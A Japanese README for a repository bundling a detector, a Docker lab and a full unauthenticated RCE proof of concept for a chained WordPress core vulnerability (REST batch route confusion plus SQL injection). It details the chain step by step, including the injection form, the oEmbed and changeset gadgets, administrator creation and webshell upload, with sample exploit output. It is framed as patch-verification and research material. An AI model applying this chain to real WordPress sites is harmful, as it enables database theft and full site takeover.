
wp2shell用の非破壊検出器 + Dockerラボ(WordPressコア6.9.0-6.9.4 / 7.0.0-7.0.1におけるCVE-2026-63030 REST /batch/v1 ルート混同 + CVE-2026-60137 author__not_in SQLi)
wp2shell — WordPress コアの事前認証脆弱性チェーン — のための自己完結型ラボ、非破壊検出ツール、そして完全な事前認証 RCE 概念実証 (PoC) です:
| CVE | コンポーネント | 分類 | CVSS |
|---|---|---|---|
| CVE-2026-60137 | WP_Query::author__not_in | SQL インジェクション (CWE-89) | 9.1 |
| CVE-2026-63030 | REST /batch/v1 ルート混乱 | 解釈の競合 (CWE-436) → RCE に連鎖 | 7.5 |
影響を受けるバージョン: WordPress コア 6.9.0–6.9.4 および 7.0.0–7.0.1 (SQLi シンクのみでも 6.8.0–6.8.5 に影響)。6.8.6 / 6.9.5 / 7.0.2 で修正。 Adam Kues (Assetnote / Searchlight Cyber) が報告。SQLi は TF1T、dtro、haongo にもクレジットされています。ストックデフォルト RCE チェーン (oEmbed → changeset → re-entry) は Mustafa Can İPEKÇİ (nukedx) によるものです。
まず更新を。 WordPress はこれに対する強制自動更新を配信しました。このリポジトリは、あなた自身の環境がパッチ適用済みであることを確認し、このバグを理解するために存在します — 誰かを攻撃するためではありません。SECURITY.md を参照してください。
常に成立するプリミティブは、認証不要・プラグイン不要・ストックコアの SQL インジェクションであり、データベース全体の読み取り (管理者パスワードハッシュ、wp_options/wp_users 内のすべて) を可能にします。これだけで CVSS 9.1 に値し、即時のパッチ適用が求められます。
RCE は現実に存在し、ストックデフォルトの WordPress で動作します — FILE 権限、永続オブジェクトキャッシュ、プラグイン、設定ミスのいずれも不要です。このチェーンは読み取り専用の SQLi を行偽造プリミティブとして使用し (UNION ALL SELECT が偽の wp_posts 行を注入)、WordPress 自身のコンテンツレンダリングパイプラインを利用して、oEmbed キャッシング経由でそれらの偽造行を実際のデータベース書き込みに変換します。そこから、changeset の昇格と再入可能な parse_request が管理者コンテキストで実行され、新しい管理者アカウントが作成されます — すべて単一の認証不要 HTTP リクエストからです。
POST /?rest_route=/batch/v1)1. Route confusion — double-nested batch desyncs $matches/$validation so a GET
/wp/v2/widgets runs under posts::get_items() (public), reaching
WP_Query's author__not_in with attacker-controlled input.
2. Row forgery — author__not_in is string-concatenated into SQL;
"1) AND 1=0 UNION ALL SELECT <23 cols> -- -" injects fake
WP_Post rows. per_page=-1 bypasses split_the_query (WP_Query
treats -1 as "no limit" → empty $limits → split=false →
full SELECT wp_posts.* → UNION columns match).
3. oEmbed write — forged posts carry [embed]<self-url>[/embed]; rendering via
context=view makes WordPress cache real oembed_cache posts in
the DB (turns read-only SQLi into writes with predictable IDs).
4. Elevation+re-entry — a forged customize_changeset (user_id = real admin) plus a
forged post_type=request row with parent loops drives an
in-process re-entrant parse_request in admin context.
5. Admin creation — POST /wp/v2/users in the same batch passes
current_user_can('create_users') → new administrator.
6. RCE — login → plugin webshell upload → command execution → cleanup.
新規性は構成 (composition) にあり、単一のバグではありません — 個々のガジェットは WordPress の正当な動作です。それらに名前を付けること (Adam Kues の記事による) で、exploit() 内の偽造行グラフが読みやすくなり、エントリポイントがパッチ適用された後に再監査すべき箇所を示します:
wp_update_post() で調整し、インメモリの post_type/post_status を優先するため、oembed_cache 行を実際の post/customize_changeset に型変換できます。post_content を保持するサイクル検出 — wp_insert_post_parent フィルタは親チェーンを辿ります。サイクルを検出すると、2 回目の wp_update_post() を呼び出して、post_content を上書きせずに親を修正します。これが決定的なリンクです: 偽造 changeset の悪意ある post_content を生き残らせることができます。(これが偽造行が自己/相互親ループを使用する理由です。)parse_request によるフック再実行 (replay) — 投稿の公開は do_action("{$status}_{$type}") を発火させます。post_status=parse / post_type=request を持つ偽造行は parse_request をトリガーし、changeset が仮定する管理者 ID (wp_set_current_user) が有効なままバッチパイプラインを再実行します。これらのガジェットはパッチ適用済みの WordPress にも残っています — 閉じられたのは 2 つのエントリポイント (バッチデシンク + author__not_in スカラーバイパス) のみです。インメモリの投稿キャッシュを偽造する、または oembed_cache 行を書き込む新しいプリミティブがあれば、同一の管理者乗っ取りテールが再び有効になります。
4 つすべてのレンダリング時書き込みプリミティブは 7.0.1 に対して実機で確認済みです — それぞれ認証不要の投稿として偽造され、バッチ混乱を介してレンダリングされ、結果として生じる DB 書き込みがブラインド SQLi で検証されました:
| プリミティブ | トリガーマークアップ | シンク | 予測される識別子 | 検証結果 |
|---|---|---|---|---|
| oembed | [embed]<url>[/embed] | wp_posts 行 (oembed_cache) | post_name = md5(url+attrs) | 投稿 ID が作成された |
| rss | wp:rss {feedURL} | wp_options サイトトランジェント | _site_transient_feed_<md5(url)> | option_id、5192 B キャッシュ済み |
| navigation | wp:navigation | wp_posts 行 (wp_navigation) | post_name = 'navigation' (固定) | ID 作成済み、スラッグ navigation |
| calendar | wp:calendar | wp_options | wp_calendar_block_has_published_posts | option_id、値 '1' |
各結果が証明すること:
md5(url+serialize(attrs))) と実際の auto-increment ID を持つ新しい wp_posts 行を得られます。複数・オンデマンド・攻撃者命名の投稿行を提供する唯一のものであり、RCE チェーンが偽造 changeset/request グラフのバックエンドにこれを使用する理由です。_site_transient_feed_<md5(url)> は完全に予測可能で、格納されるバイトは攻撃者の URL が配信するフィード本文です — つまり、攻撃者はキーと値の両方を制御します。wp_options への書き込み (投稿 ID なし) のため、changeset のバックエンドにそのまま使える代替ではなく、オプション汚染 (option-poisoning) プリミティブです。wp_navigation が存在する場合はスキップ) のため、oEmbed の N 行とは異なり、偽造オブジェクトを最大 1 つしかバックできません。update_option パスが認証不要で発火することを確認しますが、オプション名とその '1'/'0' の値は固定/DB 由来のため、キーや値に対する攻撃者の制御がない「書き込みが発生する」ことのデモです。FILE 権限を保持し、secure_file_priv が Web からアクセス可能で、出力先が Web ユーザーに読み取り可能であることが必要です。通常の/マネージドホストではどれも成立しません。call_user_func('wp_insert_user', user_data_array) — 要件: gc_enabled()=false + 有効な HMAC (正確なシリアライズ済みバイト列の wp_hash、wp-config.php のシークレットが必要)。必要条件: Docker + Docker Compose v2、Python 3.8+ (標準ライブラリのみ)、make、curl。
make up # WordPress 6.9.4 (vulnerable) + MySQL 8.0, auto-installed on :8093
make check # -> [VULNERABLE] http://localhost:8093 (WordPress 6.9.4 ...)
make proof # -> also reads @@version and current_user() as read-only evidence
make exploit # -> full pre-auth RCE: creates admin, deploys webshell, runs "id"
make patched # rebuild on the fixed image and re-check -> [not vulnerable]
make down # tear down (removes volumes)
ポートを変更するには WP_PORT=8100 make up を使用します。
パッチ適用済みイメージに関する注意: 公式 Docker
wordpressイメージは WordPress コアのセキュリティリリースより 1〜2 日遅れることがあります。make patchedがwordpress:7.0.2はまだ Docker Hub にないと報告した場合は、後で再試行するか、公開済みの修正タグを指定してください:make patched WP_PATCHED_TAG=6.9.5(または7.0.2/6.8.6)。WordPress 6.9.5 / 7.0.2 / 6.8.6 のいずれか以上であればnot vulnerableを返します。
$ make check
[VULNERABLE] http://localhost:8093 (WordPress 6.9.4, affected-full-chain) [active=fired | method=boolean rows(true/false)=5/0 via x-wp-total | delivery=json | slot=users]
confirmed: unauthenticated SQL injection
rce: reachable on stock config; additionally requires no persistent object cache (not verified remotely -- the RCE PoC preflights it before writing)
$ make exploit
[*] seeding oEmbed caches ...
[*] extracting table prefix ...
[+] table prefix: wp_
[*] extracting admin user ID ...
[+] admin ID: 1
[*] recovering oEmbed cache post IDs ...
[+] cache IDs: [5, 6, 7]
[*] forging changeset + re-entry, creating administrator ...
[+] administrator created: w2s_...:W2s!... ([email protected])
[*] logging in, deploying webshell, executing command ...
[+] vulnerable (unauth SQLi confirmed: method=boolean slot=users delivery=json)
[+] RCE output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ make patched
[not vulnerable] http://localhost:8093 (WordPress 7.0.2, outside-affected-range) [active=negative | method=time fast=0.01s slow=0.01s delta=-0.00s | delivery=json | slot=users]
wp2shell_check.py)標準ライブラリのみ、依存関係なし。